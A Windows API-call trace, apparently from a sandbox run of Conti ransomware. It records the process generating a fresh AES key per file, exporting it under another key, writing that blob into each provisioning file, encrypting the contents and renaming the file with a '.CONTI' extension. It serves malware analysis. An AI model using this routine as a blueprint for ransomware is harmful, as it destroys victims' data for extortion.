	[0111.855] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.855] WriteFile (in: hFile=0x380, lpBuffer=0x1804bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x1804bf8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.855] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.855] CloseHandle (hObject=0x380) returned 1
	[0111.856] GetProcessHeap () returned 0x1720000
	[0111.856] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.856] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml"
	[0111.856] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.856] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.856] GetProcessHeap () returned 0x1720000
	[0111.856] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.856] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0111.856] GetProcessHeap () returned 0x1720000
	[0111.857] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808420 | out: hHeap=0x1720000) returned 1
	[0111.857] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.857] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x1804e48 | out: phKey=0x1804e48*=0x6b7f478) returned 1
	[0111.857] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x1804e4c, pdwDataLen=0x54bfc14 | out: pbData=0x1804e4c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.857] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.858] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.858] GetLastError () returned 0x0
	[0111.858] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=777) returned 1
	[0111.858] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x309
	[0111.858] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.858] SetEndOfFile (hFile=0x380) returned 1
	[0111.858] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.858] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.858] WriteFile (in: hFile=0x380, lpBuffer=0x1804e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x1804e4c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.864] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.865] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x309, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x309, lpOverlapped=0x0) returned 1
	[0111.865] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x309, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x310) returned 1
	[0111.865] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.865] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x310, lpOverlapped=0x0) returned 1
	[0111.865] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.865] WriteFile (in: hFile=0x380, lpBuffer=0x1804e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x1804e40*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.865] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.865] CloseHandle (hObject=0x380) returned 1
	[0111.865] GetProcessHeap () returned 0x1720000
	[0111.865] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.865] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml"
	[0111.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.865] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\44__connections_cellular_base nv-sa (belgium)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.866] GetProcessHeap () returned 0x1720000
	[0111.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.866] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0111.866] GetProcessHeap () returned 0x1720000
	[0111.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18087f8 | out: hHeap=0x1720000) returned 1
	[0111.866] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.866] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x1804528 | out: phKey=0x1804528*=0x6b7f338) returned 1
	[0111.866] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x180452c, pdwDataLen=0x54bfc14 | out: pbData=0x180452c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.867] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.869] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.869] GetLastError () returned 0x0
	[0111.869] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=704) returned 1
	[0111.869] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0111.869] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.869] SetEndOfFile (hFile=0x380) returned 1
	[0111.870] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.870] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.870] WriteFile (in: hFile=0x380, lpBuffer=0x180452c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x180452c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.921] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.921] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2c0, lpOverlapped=0x0) returned 1
	[0111.921] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c0, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0111.921] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.921] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.921] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.921] WriteFile (in: hFile=0x380, lpBuffer=0x1804520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x1804520*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.922] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.922] CloseHandle (hObject=0x380) returned 1
	[0111.922] GetProcessHeap () returned 0x1720000
	[0111.922] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.922] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml"
	[0111.922] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.922] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.923] GetProcessHeap () returned 0x1720000
	[0111.923] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.923] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0111.923] GetProcessHeap () returned 0x1720000
	[0111.923] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808a88 | out: hHeap=0x1720000) returned 1
	[0111.923] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.923] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x1805090 | out: phKey=0x1805090*=0x6b7f0b8) returned 1
	[0111.923] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x1805094, pdwDataLen=0x54bfc14 | out: pbData=0x1805094*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.924] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0111.924] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.924] GetLastError () returned 0x0
	[0111.924] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=715) returned 1
	[0111.924] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0111.924] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.924] SetEndOfFile (hFile=0x380) returned 1
	[0111.925] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.925] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.925] WriteFile (in: hFile=0x380, lpBuffer=0x1805094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x1805094*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.931] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.931] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2cb, lpOverlapped=0x0) returned 1
	[0111.931] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2cb, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0111.931] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.931] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.931] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.931] WriteFile (in: hFile=0x380, lpBuffer=0x1805088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x1805088*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.931] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.931] CloseHandle (hObject=0x380) returned 1
	[0111.931] GetProcessHeap () returned 0x1720000
	[0111.931] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.931] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml"
	[0111.931] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml.CONTI"
	[0111.931] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0111.932] GetProcessHeap () returned 0x1720000
	[0111.932] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.932] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0111.932] GetProcessHeap () returned 0x1720000
	[0111.932] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1806fa0 | out: hHeap=0x1720000) returned 1
	[0111.932] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.932] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x18062d0 | out: phKey=0x18062d0*=0x6b7f638) returned 1
	[0111.932] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x18062d4, pdwDataLen=0x54bfc14 | out: pbData=0x18062d4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.933] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
